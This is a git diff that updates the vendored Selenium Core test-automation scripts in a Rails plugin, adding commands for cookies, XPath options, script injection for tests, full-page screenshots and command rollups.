-   * @param windowName name of the window to be given focus
    */
-   this.findWindow(windowName).focus();
+   this.browserbot.getCurrentWindow().focus();
 };
 
 
-Selenium.prototype.doWindowMaximize = function(windowName) {
-/** Resize window to take up the entire screen
+Selenium.prototype.doWindowMaximize = function() {
+/** Resize currently selected window to take up the entire screen
    *
-   * @param windowName name of the window to be enlarged
    */
-   var window = this.findWindow(windowName);
+   var window = this.browserbot.getCurrentWindow();
    if (window!=null && window.screen) {
        window.moveTo(0,0);
-        window.outerHeight = screen.availHeight;
-        window.outerWidth = screen.availWidth;
+       window.resizeTo(screen.availWidth, screen.availHeight);
    }
 };
 
@@ -1795,12 +2008,12 @@ Selenium.prototype.getElementIndex = function(locator) {
 
 Selenium.prototype.isOrdered = function(locator1, locator2) {
     /**
-     * Check if these two elements have same parent and are ordered. Two same elements will
+     * Check if these two elements have same parent and are ordered siblings in the DOM. Two same elements will
      * not be considered ordered.
      *
      * @param locator1 an <a href="#locators">element locator</a> pointing to the first element
      * @param locator2 an <a href="#locators">element locator</a> pointing to the second element
-     * @return boolean true if two elements are ordered and have same parent, false otherwise
+     * @return boolean true if element1 is the previous sibling of element2, false otherwise
      */
     var element1 = this.browserbot.findElement(locator1);
     var element2 = this.browserbot.findElement(locator2);
@@ -1997,27 +2210,6 @@ Selenium.prototype.getCursorPosition = function(locator) {
 }
 
 
-Selenium.prototype.doSetContext = function(context, logLevelThreshold) {
-    /**
-   * Writes a message to the status bar and adds a note to the browser-side
-   * log.
-   *
-   * <p>If logLevelThreshold is specified, set the threshold for logging
-   * to that level (debug, info, warn, error).</p>
-   *
-   * <p>(Note that the browser-side logs will <i>not</i> be sent back to the
-   * server, and are invisible to the Client Driver.)</p>
-   *
-   * @param context
-   *            the message to be sent to the browser
-   * @param logLevelThreshold one of "debug", "info", "warn", "error", sets the threshold for browser-side logging
-   */
-    if  (logLevelThreshold==null || logLevelThreshold=="") {
-        return this.browserbot.setContext(context);
-    }
-    return this.browserbot.setContext(context, logLevelThreshold);
-};
-
 Selenium.prototype.getExpression = function(expression) {
     /**
      * Returns the specified expression.
@@ -2031,6 +2223,68 @@ Selenium.prototype.getExpression = function(expression) {
     return expression;
 }
 
+Selenium.prototype.getXpathCount = function(xpath) {
+    /**
+    * Returns the number of nodes that match the specified xpath, eg. "//table" would give
+    * the number of tables.
+    * 
+    * @param xpath the xpath expression to evaluate. do NOT wrap this expression in a 'count()' function; we will do that for you.
+    * @return number the number of nodes that match the specified xpath
+    */
+    var result = this.browserbot.evaluateXPathCount(xpath, this.browserbot.getDocument());
+    return result;
+}
+
+Selenium.prototype.doAssignId = function(locator, identifier) {
+    /**
+    * Temporarily sets the "id" attribute of the specified element, so you can locate it in the future
+    * using its ID rather than a slow/complicated XPath.  This ID will disappear once the page is
+    * reloaded.
+    * @param locator an <a href="#locators">element locator</a> pointing to an element
+    * @param identifier a string to be used as the ID of the specified element
+    */
+    var element = this.browserbot.findElement(locator);
+    element.id = identifier;
+}
+
+Selenium.prototype.doAllowNativeXpath = function(allow) {
+    /**
+    * Specifies whether Selenium should use the native in-browser implementation
+    * of XPath (if any native version is available); if you pass "false" to
+    * this function, we will always use our pure-JavaScript xpath library.
+    * Using the pure-JS xpath library can improve the consistency of xpath
+    * element locators between different browser vendors, but the pure-JS
+    * version is much slower than the native implementations.
+    * @param allow boolean, true means we'll prefer to use native XPath; false means we'll only use JS XPath
+    */
+    if ("false" == allow || "0" == allow) { // The strings "false" and "0" are true values in JS
+        allow = false;
+    }
+    this.browserbot.allowNativeXpath = allow;
+}
+
+Selenium.prototype.doIgnoreAttributesWithoutValue = function(ignore) {
+    /**
+    * Specifies whether Selenium will ignore xpath attributes that have no
+    * value, i.e. are the empty string, when using the non-native xpath
+    * evaluation engine. You'd want to do this for performance reasons in IE.
+    * However, this could break certain xpaths, for example an xpath that looks
+    * for an attribute whose value is NOT the empty string.
+    *
+    * The hope is that such xpaths are relatively rare, but the user should
+    * have the option of using them. Note that this only influences xpath
+    * evaluation when using the ajaxslt engine (i.e. not "javascript-xpath").
+    *
+    * @param ignore boolean, true means we'll ignore attributes without value
+    *                        at the expense of xpath "correctness"; false means
+    *                        we'll sacrifice speed for correctness.
+    */
+    if ('false' == ignore || '0' == ignore) {
+        ignore = false;
+    }
+    this.browserbot.ignoreAttributesWithoutValue = ignore;
+}
+
 Selenium.prototype.doWaitForCondition = function(script, timeout) {
     /**
    * Runs the specified JavaScript snippet repeatedly until it evaluates to "true".
@@ -2044,7 +2298,9 @@ Selenium.prototype.doWaitForCondition = function(script, timeout) {
    * @param script the JavaScript snippet to run
    * @param timeout a timeout in milliseconds, after which this command will return with an error
    */
+   
     return Selenium.decorateFunctionWithTimeout(function () {
+        var window = selenium.browserbot.getCurrentWindow();
         return eval(script);
     }, timeout);
 };
@@ -2084,6 +2340,24 @@ Selenium.prototype.doWaitForPageToLoad = function(timeout) {
     }
 };
 
+Selenium.prototype.doWaitForFrameToLoad = function(frameAddress, timeout) {
+    /**
+     * Waits for a new frame to load.
+     *
+     * <p>Selenium constantly keeps track of new pages and frames loading, 
+     * and sets a "newPageLoaded" flag when it first notices a page load.</p>
+     * 
+     * See waitForPageToLoad for more information.
+     * 
+     * @param frameAddress FrameAddress from the server side
+     * @param timeout a timeout in milliseconds, after which this command will return with an error
+     */
+    // in pi-mode, the test and the harness share the window; thus if we are executing this code, then we have loaded
+    if (window["proxyInjectionMode"] == null || !window["proxyInjectionMode"]) {
+        return this.makePageLoadCondition(timeout);
+    }
+};
+
 Selenium.prototype._isNewPageLoaded = function() {
     return this.browserbot.isNewPageLoaded();
 };
@@ -2137,15 +2411,40 @@ Selenium.prototype.getCookie = function() {
     return doc.cookie;
 };
 
+Selenium.prototype.getCookieByName = function(name) {
+    /**
+     * Returns the value of the cookie with the specified name, or throws an error if the cookie is not present.
+     * @param name the name of the cookie
+     * @return string the value of the cookie
+     */
+    var v = this.browserbot.getCookieByName(name);
+    if (v === null) {
+        throw new SeleniumError("Cookie '"+name+"' was not found");
+    }
+    return v;
+};
+
+Selenium.prototype.isCookiePresent = function(name) {
+    /**
+     * Returns true if a cookie with the specified name is present, or false otherwise.
+     * @param name the name of the cookie
+     * @return boolean true if a cookie with the specified name is present, or false otherwise.
+     */
+    var v = this.browserbot.getCookieByName(name);
+    var absent = (v === null);
+    return !absent;
+}   
+
 Selenium.prototype.doCreateCookie = function(nameValuePair, optionsString) {
     /**
      * Create a new cookie whose path and domain are same with those of current page
      * under test, unless you specified a path for this cookie explicitly.
      *
      * @param nameValuePair name and value of the cookie in a format "name=value"
-     * @param optionsString options for the cookie. Currently supported options include 'path' and 'max_age'.
-     *      the optionsString's format is "path=/path/, max_age=60". The order of options are irrelevant, the unit
-     *      of the value of 'max_age' is second.
+     * @param optionsString options for the cookie. Currently supported options include 'path', 'max_age' and 'domain'.
+     *      the optionsString's format is "path=/path/, max_age=60, domain=.foo.com". The order of options are irrelevant, the unit
+     *      of the value of 'max_age' is second.  Note that specifying a domain that isn't a subset of the current domain will
+     *      usually fail.
      */
     var results = /[^\s=\[\]\(\),"\/\?@:;]+=[^\s=\[\]\(\),"\/\?@:;]*/.test(nameValuePair);
     if (!results) {
@@ -2168,31 +2467,586 @@ Selenium.prototype.doCreateCookie = function(nameValuePair, optionsString) {
         }
         cookie += "; path=" + path;
     }
+    results = /domain=([^\s,]+)[,]?/.exec(optionsString);
+    if (results) {
+        var domain = results[1];
+        cookie += "; domain=" + domain;
+    }
     LOG.debug("Setting cookie to: " + cookie);
     this.browserbot.getDocument().cookie = cookie;
 }
 
-Selenium.prototype.doDeleteCookie = function(name,path) {
+Selenium.prototype.doDeleteCookie = function(name,optionsString) {
     /**
-     * Delete a named cookie with specified path.
+     * Delete a named cookie with specified path and domain.  Be careful; to delete a cookie, you
+     * need to delete it using the exact same path and domain that were used to create the cookie.
+     * If the path is wrong, or the domain is wrong, the cookie simply won't be deleted.  Also
+     * note that specifying a domain that isn't a subset of the current domain will usually fail.
+     *
+     * Since there's no way to discover at runtime the original path and domain of a given cookie,
+     * we've added an option called 'recurse' to try all sub-domains of the current domain with
+     * all paths that are a subset of the current path.  Beware; this option can be slow.  In
+     * big-O notation, it operates in O(n*m) time, where n is the number of dots in the domain
+     * name and m is the number of slashes in the path.
      *
      * @param name the name of the cookie to be deleted
-     * @param path the path property of the cookie to be deleted
+     * @param optionsString options for the cookie. Currently supported options include 'path', 'domain'
+     *      and 'recurse.' The optionsString's format is "path=/path/, domain=.foo.com, recurse=true".
+     *      The order of options are irrelevant. Note that specifying a domain that isn't a subset of
+     *      the current domain will usually fail.
      */
     // set the expire time of the cookie to be deleted to one minute before now.
-    path = path.trim();
+    var path = "";
+    var domain = "";
+    var recurse = false;
+    var matched = false;
+    results = /path=([^\s,]+)[,]?/.exec(optionsString);
+    if (results) {
+        matched = true;
+        path = results[1];
+    }
+    results = /domain=([^\s,]+)[,]?/.exec(optionsString);
+    if (results) {
+        matched = true;
+        domain = results[1];
+    }
+    results = /recurse=([^\s,]+)[,]?/.exec(optionsString);
+    if (results) {
+        matched = true;
+        recurse = results[1];
+        if ("false" == recurse) {
+            recurse = false;
+        }
+    }
+    // Treat the entire optionsString as a path (for backwards compatibility)
+    if (optionsString && !matched) {
+        LOG.warn("Using entire optionsString as a path; please change the argument to deleteCookie to use path="+optionsString);
+        path = optionsString;
+    }
     if (browserVersion.khtml) {
         // Safari and conquerer don't like paths with / at the end
         if ("/" != path) {
             path = path.replace(/\/$/, "");
         }
+    }    
+    path = path.trim();
+    domain = domain.trim();
+    var cookieName = name.trim();
+    if (recurse) {
+        this.browserbot.recursivelyDeleteCookie(cookieName, domain, path);
+    } else {
+        this.browserbot.deleteCookie(cookieName, domain, path);
     }
-    var expireDateInMilliseconds = (new Date()).getTime() + (-1 * 1000);
-    var cookie = name.trim() + "=deleted; path=" + path + "; expires=" + new Date(expireDateInMilliseconds).toGMTString();
-    LOG.debug("Setting cookie to: " + cookie);
-    this.browserbot.getDocument().cookie = cookie;
 }
 
+Selenium.prototype.doDeleteAllVisibleCookies = function() {
+    /** Calls deleteCookie with recurse=true on all cookies visible to the current page.
+    * As noted on the documentation for deleteCookie, recurse=true can be much slower
+    * than simply deleting the cookies using a known domain/path.
+    */
+    var win = this.browserbot.getCurrentWindow();
+    var doc = win.document;
+    var cookieNames = this.browserbot.getAllCookieNames(doc);
+    var domain = doc.domain;
+    var path = win.location.pathname;
+    for (var i = 0; i < cookieNames.length; i++) {
+        this.browserbot.recursivelyDeleteCookie(cookieNames[i], domain, path, win);
+    }
+}
+
+Selenium.prototype.doSetBrowserLogLevel = function(logLevel) {
+    /**
+    * Sets the threshold for browser-side logging messages; log messages beneath this threshold will be discarded.
+    * Valid logLevel strings are: "debug", "info", "warn", "error" or "off".
+    * To see the browser logs, you need to
+    * either show the log window in GUI mode, or enable browser-side logging in Selenium RC.
+    *
+    * @param logLevel one of the following: "debug", "info", "warn", "error" or "off"
+    */
+    if (logLevel == null || logLevel == "") {
+        throw new SeleniumError("You must specify a log level");
+    }
+    logLevel = logLevel.toLowerCase();
+    if (LOG.logLevels[logLevel] == null) {
+        throw new SeleniumError("Invalid log level: " + logLevel);
+    }
+    LOG.setLogLevelThreshold(logLevel);
+}
+
+Selenium.prototype.doRunScript = function(script) {
+    /**
+    * Creates a new "script" tag in the body of the current test window, and 
+    * adds the specified text into the body of the command.  Scripts run in
+    * this way can often be debugged more easily than scripts executed using
+    * Selenium's "getEval" command.  Beware that JS exceptions thrown in these script
+    * tags aren't managed by Selenium, so you should probably wrap your script
+    * in try/catch blocks if there is any chance that the script will throw
+    * an exception.
+    * @param script the JavaScript snippet to run
+    */
+    var win = this.browserbot.getCurrentWindow();
+    var doc = win.document;
+    var scriptTag = doc.createElement("script");
+    scriptTag.type = "text/javascript"
+    scriptTag.text = script;
+    doc.body.appendChild(scriptTag);
+}
+
+Selenium.prototype.doAddLocationStrategy = function(strategyName, functionDefinition) {
+    /**
+    * Defines a new function for Selenium to locate elements on the page.
+    * For example,
+    * if you define the strategy "foo", and someone runs click("foo=blah"), we'll
+    * run your function, passing you the string "blah", and click on the element 
+    * that your function
+    * returns, or throw an "Element not found" error if your function returns null.
+    *
+    * We'll pass three arguments to your function:
+    * <ul>
+    * <li>locator: the string the user passed in</li>
+    * <li>inWindow: the currently selected window</li>
+    * <li>inDocument: the currently selected document</li>
+    * </ul>
+    * The function must return null if the element can't be found.
+    * 
+    * @param strategyName the name of the strategy to define; this should use only
+    *   letters [a-zA-Z] with no spaces or other punctuation.
+    * @param functionDefinition a string defining the body of a function in JavaScript.
+    *   For example: <code>return inDocument.getElementById(locator);</code>
+    */
+    if (!/^[a-zA-Z]+$/.test(strategyName)) {
+        throw new SeleniumError("Invalid strategy name: " + strategyName);
+    }
+    var strategyFunction;
+    try {
+        strategyFunction = new Function("locator", "inDocument", "inWindow", functionDefinition);
+    } catch (ex) {
+        throw new SeleniumError("Error evaluating function definition: " + extractExceptionMessage(ex));
+    }
+    var safeStrategyFunction = function() {
+        try {
+            return strategyFunction.apply(this, arguments);
+        } catch (ex) {
+            throw new SeleniumError("Error executing strategy function " + strategyName + ": " + extractExceptionMessage(ex));
+        }
+    }
+    this.browserbot.locationStrategies[strategyName] = safeStrategyFunction;
+}
+
+Selenium.prototype.doCaptureEntirePageScreenshot = function(filename, kwargs) {
+    /**
+     * Saves the entire contents of the current window canvas to a PNG file.
+     * Contrast this with the captureScreenshot command, which captures the
+     * contents of the OS viewport (i.e. whatever is currently being displayed
+     * on the monitor), and is implemented in the RC only. Currently this only
+     * works in Firefox when running in chrome mode, and in IE non-HTA using
+     * the EXPERIMENTAL "Snapsie" utility. The Firefox implementation is mostly
+     * borrowed from the Screengrab! Firefox extension. Please see
+     * http://www.screengrab.org and http://snapsie.sourceforge.net/ for
+     * details.
+     *
+     * @param filename  the path to the file to persist the screenshot as. No
+     *                  filename extension will be appended by default.
+     *                  Directories will not be created if they do not exist,  
+     *                  and an exception will be thrown, possibly by native
+     *                  code.
+     * @param kwargs    a kwargs string that modifies the way the screenshot
+     *                  is captured. Example: "background=#CCFFDD" .
+     *                  Currently valid options:
+     *                  <dl>
+     *                   <dt>background</dt>
+     *                     <dd>the background CSS for the HTML document. This
+     *                     may be useful to set for capturing screenshots of
+     *                     less-than-ideal layouts, for example where absolute
+     *                     positioning causes the calculation of the canvas
+     *                     dimension to fail and a black background is exposed
+     *                     (possibly obscuring black text).</dd>
+     *                  </dl>
+     */
+    if (! browserVersion.isChrome &&
+        ! (browserVersion.isIE && ! browserVersion.isHTA)) {
+        throw new SeleniumError('captureEntirePageScreenshot is only '
+            + 'implemented for Firefox ("firefox" or "chrome", NOT '
+            + '"firefoxproxy") and IE non-HTA ("iexploreproxy", NOT "iexplore" '
+            + 'or "iehta"). The current browser isn\'t one of them!');
+    }
+    
+    // do or do not ... there is no try
+    
+    if (browserVersion.isIE) {
+        // targeting snapsIE >= 0.2
+        function getFailureMessage(exceptionMessage) {
+            var msg = 'Snapsie failed: ';
+            if (exceptionMessage) {
+                if (exceptionMessage ==
+                    "Automation server can't create object") {
+                    msg += 'Is it installed? Does it have permission to run '
+                        'as an add-on? See http://snapsie.sourceforge.net/';
+                }
+                else {
+                    msg += exceptionMessage;
+                }
+            }
+            else {
+                msg += 'Undocumented error';
+            }
+            return msg;
+        }
+    
+        if (typeof(runOptions) != 'undefined' &&
+            runOptions.isMultiWindowMode() == false) {
+            // framed mode
+            try {
+                new Snapsie().saveSnapshot(filename, 'selenium_myiframe');
+            }
+            catch (e) {
+                throw new SeleniumError(getFailureMessage(e.message));
+            }
+        }
+        else {
+            // multi-window mode
+            if (!this.snapsieSrc) {
+                // XXX - cache snapsie, and capture the screenshot as a
+                // callback. Definitely a hack, because we may be late taking
+                // the first screenshot, but saves us from polluting other code
+                // for now. I wish there were an easier way to get at the
+                // contents of a referenced script!
+                var snapsieUrl = (this.browserbot.buttonWindow.location.href)
+                    .replace(/(Test|Remote)Runner\.html/, 'lib/snapsie.js');
+                var self = this;
+                new Ajax.Request(snapsieUrl, {
+                    method: 'get'
+                    , onSuccess: function(transport) {
+                        self.snapsieSrc = transport.responseText;
+                        self.doCaptureEntirePageScreenshot(filename, kwargs);
+                    }
+                });
+                return;
+            }
+
+            // it's going into a string, so escape the backslashes
+            filename = filename.replace(/\\/g, '\\\\');
+            
+            // this is sort of hackish. We insert a script into the document,
+            // and remove it before anyone notices.
+            var doc = selenium.browserbot.getDocument();
+            var script = doc.createElement('script'); 
+            var scriptContent = this.snapsieSrc 
+                + 'try {'
+                + '    new Snapsie().saveSnapshot("' + filename + '");'
+                + '}'
+                + 'catch (e) {'
+                + '    document.getElementById("takeScreenshot").failure ='
+                + '        e.message;'
+                + '}';
+            script.id = 'takeScreenshot';
+            script.language = 'javascript';
+            script.text = scriptContent;
+            doc.body.appendChild(script);
+            script.parentNode.removeChild(script);
+            if (script.failure) {
+                throw new SeleniumError(getFailureMessage(script.failure));
+            }
+        }
+        return;
+    }
+    
+    var grabber = {
+        prepareCanvas: function(width, height) {
+            var styleWidth = width + 'px';
+            var styleHeight = height + 'px';
+            
+            var grabCanvas = document.getElementById('screenshot_canvas');
+            if (!grabCanvas) {
+                // create the canvas
+                var ns = 'http://www.w3.org/1999/xhtml';
+                grabCanvas = document.createElementNS(ns, 'html:canvas');
+                grabCanvas.id = 'screenshot_canvas';
+                grabCanvas.style.display = 'none';
+                document.documentElement.appendChild(grabCanvas);
+            }
+            
+            grabCanvas.width = width;
+            grabCanvas.style.width = styleWidth;
+            grabCanvas.style.maxWidth = styleWidth;
+            grabCanvas.height = height;
+            grabCanvas.style.height = styleHeight;
+            grabCanvas.style.maxHeight = styleHeight;
+        
+            return grabCanvas;
+        },
+        
+        prepareContext: function(canvas, box) {
+            var context = canvas.getContext('2d');
+            context.clearRect(box.x, box.y, box.width, box.height);
+            context.save();
+            return context;
+        }
+    };
+    
+    var SGNsUtils = {
+        dataUrlToBinaryInputStream: function(dataUrl) {
+            var nsIoService = Components.classes["@mozilla.org/network/io-service;1"]
+                .getService(Components.interfaces.nsIIOService);
+            var channel = nsIoService
+                .newChannelFromURI(nsIoService.newURI(dataUrl, null, null));
+            var binaryInputStream = Components.classes["@mozilla.org/binaryinputstream;1"]
+                .createInstance(Components.interfaces.nsIBinaryInputStream);
+            
+            binaryInputStream.setInputStream(channel.open());
+            return binaryInputStream;
+        },
+        
+        newFileOutputStream: function(nsFile) {
+            var writeFlag = 0x02; // write only
+            var createFlag = 0x08; // create
+            var truncateFlag = 0x20; // truncate
+            var fileOutputStream = Components.classes["@mozilla.org/network/file-output-stream;1"]
+                .createInstance(Components.interfaces.nsIFileOutputStream);
+                
+            fileOutputStream.init(nsFile,
+                writeFlag | createFlag | truncateFlag, 0664, null);
+            return fileOutputStream;
+        },
+        
+        writeBinaryInputStreamToFileOutputStream:
+        function(binaryInputStream, fileOutputStream) {
+            var numBytes = binaryInputStream.available();
+            var bytes = binaryInputStream.readBytes(numBytes);
+            fileOutputStream.write(bytes, numBytes);
+        }
+    };
+    
+    // compute dimensions
+    var window = this.browserbot.getCurrentWindow();
+    var doc = window.document.documentElement;
+    var box = {
+        x: 0,
+        y: 0,
+        width: doc.scrollWidth,
+        height: doc.scrollHeight
+    };
+    LOG.debug('computed dimensions');
+    
+    var originalBackground = doc.style.background;
+    
+    if (kwargs) {
+        var args = parse_kwargs(kwargs);
+        if (args.background) {
+            doc.style.background = args.background;
+        }
+    }
+    
+    // grab
+    var format = 'png';
+    var canvas = grabber.prepareCanvas(box.width, box.height);
+    var context = grabber.prepareContext(canvas, box);
+    context.drawWindow(window, box.x, box.y, box.width, box.height,
+        'rgb(0, 0, 0)');
+    context.restore();
+    var dataUrl = canvas.toDataURL("image/" + format);
+    LOG.debug('grabbed to canvas');
+    
+    doc.style.background = originalBackground;
+    
+    // save to file
+    var nsFile = Components.classes["@mozilla.org/file/local;1"]
+        .createInstance(Components.interfaces.nsILocalFile);
+    try {
+        nsFile.initWithPath(filename);
+    }
+    catch (e) {
+        if (/NS_ERROR_FILE_UNRECOGNIZED_PATH/.test(e.message)) {
+            // try using the opposite file separator
+            if (filename.indexOf('/') != -1) {
+                filename = filename.replace(/\//g, '\\');
+            }
+            else {
+                filename = filename.replace(/\\/g, '/');
+            }
+            nsFile.initWithPath(filename);
+        }
+        else {
+            throw e;
+        }
+    }
+    var binaryInputStream = SGNsUtils.dataUrlToBinaryInputStream(dataUrl);
+    var fileOutputStream = SGNsUtils.newFileOutputStream(nsFile);
+    SGNsUtils.writeBinaryInputStreamToFileOutputStream(binaryInputStream,
+        fileOutputStream);
+    fileOutputStream.close();
+    LOG.debug('saved to file');
+};
+
+Selenium.prototype.doRollup = function(rollupName, kwargs) {
+    /**
+     * Executes a command rollup, which is a series of commands with a unique
+     * name, and optionally arguments that control the generation of the set of
+     * commands. If any one of the rolled-up commands fails, the rollup is
+     * considered to have failed. Rollups may also contain nested rollups.
+     *
+     * @param rollupName  the name of the rollup command
+     * @param kwargs      keyword arguments string that influences how the
+     *                    rollup expands into commands
+     */
+    // we have to temporarily hijack the commandStarted, nextCommand(),
+    // commandComplete(), and commandError() methods of the TestLoop object.
+    // When the expanded rollup commands are done executing (or an error has
+    // occurred), we'll restore them to their original values.
+    var loop = currentTest || htmlTestRunner.currentTest;
+    var backupManager = {
+        backup: function() {
+            for (var item in this.data) {
+                this.data[item] = loop[item];
+            }
+        }
+        , restore: function() {
+            for (var item in this.data) {
+                loop[item] = this.data[item];
+            }
+        }
+        , data: {
+            requiresCallBack: null
+            , commandStarted: null
+            , nextCommand: null
+            , commandComplete: null
+            , commandError: null
+            , pendingRollupCommands: null
+            , rollupFailed: null
+            , rollupFailedMessage: null
+        }
+    };
+    
+    var rule = RollupManager.getInstance().getRollupRule(rollupName);
+    var expandedCommands = rule.getExpandedCommands(kwargs);
+    
+    // hold your breath ...
+    try {
+        backupManager.backup();
+        loop.requiresCallBack = false;
+        loop.commandStarted = function() {};
+        loop.nextCommand = function() {
+            if (this.pendingRollupCommands.length == 0) {
+                return null;
+            }
+            var command = this.pendingRollupCommands.shift();
+            return command;
+        };
+        loop.commandComplete = function(result) {
+            if (result.failed) {
+                this.rollupFailed = true;
+                this.rollupFailureMessages.push(result.failureMessage);
+            }
+            
+            if (this.pendingRollupCommands.length == 0) {
+                result = {
+                    failed: this.rollupFailed
+                    , failureMessage: this.rollupFailureMessages.join('; ')
+                };
+                LOG.info('Rollup execution complete: ' + (result.failed
+                    ? 'failed! (see error messages below)' : 'ok'));
+                backupManager.restore();
+                this.commandComplete(result);
+            }
+        };
+        loop.commandError = function(errorMessage) {
+            LOG.info('Rollup execution complete: bombed!');
+            backupManager.restore();
+            this.commandError(errorMessage);
+        };
+        
+        loop.pendingRollupCommands = expandedCommands;
+        loop.rollupFailed = false;
+        loop.rollupFailureMessages = [];
+    }
+    catch (e) {
+        LOG.error('Rollup error: ' + e);
+        backupManager.restore();
+    }
+};
+
+Selenium.prototype.doAddScript = function(scriptContent, scriptTagId) {
+    /**
+    * Loads script content into a new script tag in the Selenium document. This
+    * differs from the runScript command in that runScript adds the script tag
+    * to the document of the AUT, not the Selenium document. The following
+    * entities in the script content are replaced by the characters they
+    * represent:
+    *
+    *     &lt;
+    *     &gt;
+    *     &amp;
+    *
+    * The corresponding remove command is removeScript.
+    *
+    * @param scriptContent  the Javascript content of the script to add
+    * @param scriptTagId    (optional) the id of the new script tag. If
+    *                       specified, and an element with this id already
+    *                       exists, this operation will fail.
+    */
+    if (scriptTagId && document.getElementById(scriptTagId)) {
+        var msg = "Element with id '" + scriptTagId + "' already exists!";
+        throw new SeleniumError(msg);
+    }
+    
+    var head = document.getElementsByTagName('head')[0];
+    var script = document.createElement('script');
+    
+    script.type = 'text/javascript';
+    
+    if (scriptTagId) {
+        script.id = scriptTagId;
+    }
+    
+    // replace some entities
+    scriptContent = scriptContent
+        .replace(/&lt;/g, '<')
+        .replace(/&gt;/g, '>')
+        .replace(/&amp;/g, '&');
+    
+    script.text = scriptContent;
+    head.appendChild(script);
+};
+
+Selenium.prototype.doRemoveScript = function(scriptTagId) {
+    /**
+    * Removes a script tag from the Selenium document identified by the given
+    * id. Does nothing if the referenced tag doesn't exist.
+    *
+    * @param scriptTagId  the id of the script element to remove.
+    */
+    var script = document.getElementById(scriptTagId);
+    
+    if (script && getTagName(script) == 'script') {
+        script.parentNode.removeChild(script);
+    }
+};
+
+Selenium.prototype.doUseXpathLibrary = function(libraryName) {
+    /**
+	* Allows choice of one of the available libraries.
+    * @param libraryName name of the desired library
+    * Only the following three can be chosen:
+    *   ajaxslt - Google's library
+    *   javascript - Cybozu Labs' faster library
+    *   default - The default library.  Currently the default library is ajaxslt.
+    * If libraryName isn't one of these three, then 
+    * no change will be made.
+    *   
+    */
+
+    if (libraryName == "default") {
+        this.browserbot.xpathLibrary = this.browserbot.defaultXpathLibrary;
+        return;
+    }
+
+	if ((libraryName != 'ajaxslt') && (libraryName != 'javascript-xpath')) {
+		return;
+	}
+	
+	this.browserbot.xpathLibrary = libraryName;	
+	
+};
 
 /**
  *  Factory for creating "Option Locators".
@@ -2224,7 +3078,7 @@ OptionLocatorFactory.prototype.fromLocatorString = function(locatorString) {
     if (this.optionLocators[locatorType]) {
         return new this.optionLocators[locatorType](locatorValue);
     }
-    throw new SeleniumError("Unkown option locator type: " + locatorType);
+    throw new SeleniumError("Unknown option locator type: " + locatorType);
 };
 
 /**
@@ -2327,3 +3181,4 @@ OptionLocatorFactory.prototype.OptionLocatorById = function(id) {
         Assert.matches(this.id, selectedId)
     };
 };
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserbot.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserbot.js
index 633289e2..c8a66aca 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserbot.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/selenium-browserbot.js
@@ -36,10 +36,12 @@ var BrowserBot = function(topLevelApplicationWindow) {
     this.buttonWindow = window;
     this.currentWindow = this.topWindow;
     this.currentWindowName = null;
-    
+    this.allowNativeXpath = true;
+    this.xpathLibrary = this.defaultXpathLibrary = 'ajaxslt' // change to "javascript-xpath" for the newer, faster engine
+
     // We need to know this in advance, in case the frame closes unexpectedly
     this.isSubFrameSelected = false;
-    
+
     this.altKeyDown = false;
     this.controlKeyDown = false;
     this.shiftKeyDown = false;
@@ -54,10 +56,10 @@ var BrowserBot = function(topLevelApplicationWindow) {
     this.nextPromptResult = '';
     this.newPageLoaded = false;
     this.pageLoadError = null;
-    
+
     this.shouldHighlightLocatedElement = false;
 
-    this.uniqueId = new Date().getTime();
+    this.uniqueId = "seleniumMarker" + new Date().getTime();
     this.pollingForLoad = new Object();
     this.permDeniedCount = new Object();
     this.windowPollers = new Array();
@@ -65,10 +67,10 @@ var BrowserBot = function(topLevelApplicationWindow) {
     this.browserbot = this;
 
     var self = this;
-    
+
     objectExtend(this, PageBot.prototype);
     this._registerAllLocatorFunctions();
-    
+
     this.recordPageLoad = function(elementOrWindow) {
         LOG.debug("Page load detected");
         try {
@@ -126,7 +128,7 @@ BrowserBot.createForWindow = function(window, proxyInjectionMode) {
     }
     // getCurrentWindow has the side effect of modifying it to handle page loads etc
     browserbot.proxyInjectionMode = proxyInjectionMode;
-    browserbot.getCurrentWindow();	// for modifyWindow side effect.  This is not a transparent style
+    browserbot.getCurrentWindow();    // for modifyWindow side effect.  This is not a transparent style
     return browserbot;
 };
 
@@ -135,8 +137,8 @@ BrowserBot.prototype.doModalDialogTest = function(test) {
     this.modalDialogTest = test;
 };
 
-BrowserBot.prototype.cancelNextConfirmation = function() {
-    this.nextConfirmResult = false;
+BrowserBot.prototype.cancelNextConfirmation = function(result) {
+    this.nextConfirmResult = result;
 };
 
 BrowserBot.prototype.setNextPromptResult = function(result) {
@@ -147,9 +149,25 @@ BrowserBot.prototype.hasAlerts = function() {
     return (this.recordedAlerts.length > 0);
 };
 
-BrowserBot.prototype.relayBotToRC = function() {
+BrowserBot.prototype.relayBotToRC = function(s) {
+    // DGF need to do this funny trick to see if we're in PI mode, because
+    // "this" might be the window, rather than the browserbot (e.g. during window.alert) 
+    var piMode = this.proxyInjectionMode;
+    if (!piMode) {
+        if (typeof(selenium) != "undefined") {
+            piMode = selenium.browserbot && selenium.browserbot.proxyInjectionMode;
+        }
+    }
+    if (piMode) {
+        this.relayToRC("selenium." + s);
+    }
 };
-// override in injection.html
+
+BrowserBot.prototype.relayToRC = function(name) {
+        var object = eval(name);
+        var s = 'state:' + serializeObject(name, object) + "\n";
+        sendToRC(s,"state=true");
+}
 
 BrowserBot.prototype.resetPopups = function() {
     this.recordedAlerts = [];
@@ -159,6 +177,9 @@ BrowserBot.prototype.resetPopups = function() {
 
 BrowserBot.prototype.getNextAlert = function() {
     var t = this.recordedAlerts.shift();
+    if (t) { 
+        t = t.replace(/\n/g, " ");  // because Selenese loses \n's when retrieving text from HTML table
+    }
     this.relayBotToRC("browserbot.recordedAlerts");
     return t;
 };
@@ -185,20 +206,19 @@ BrowserBot.prototype.getNextPrompt = function() {
 
 /* Fire a mouse event in a browser-compatible manner */
 
-BrowserBot.prototype.triggerMouseEvent = function(element, eventType, canBubble, clientX, clientY) {
+BrowserBot.prototype.triggerMouseEvent = function(element, eventType, canBubble, clientX, clientY, button) {
     clientX = clientX ? clientX : 0;
     clientY = clientY ? clientY : 0;
 
-    LOG.warn("triggerMouseEvent assumes setting screenX and screenY to 0 is ok");
+    LOG.debug("triggerMouseEvent assumes setting screenX and screenY to 0 is ok");
     var screenX = 0;
     var screenY = 0;
 
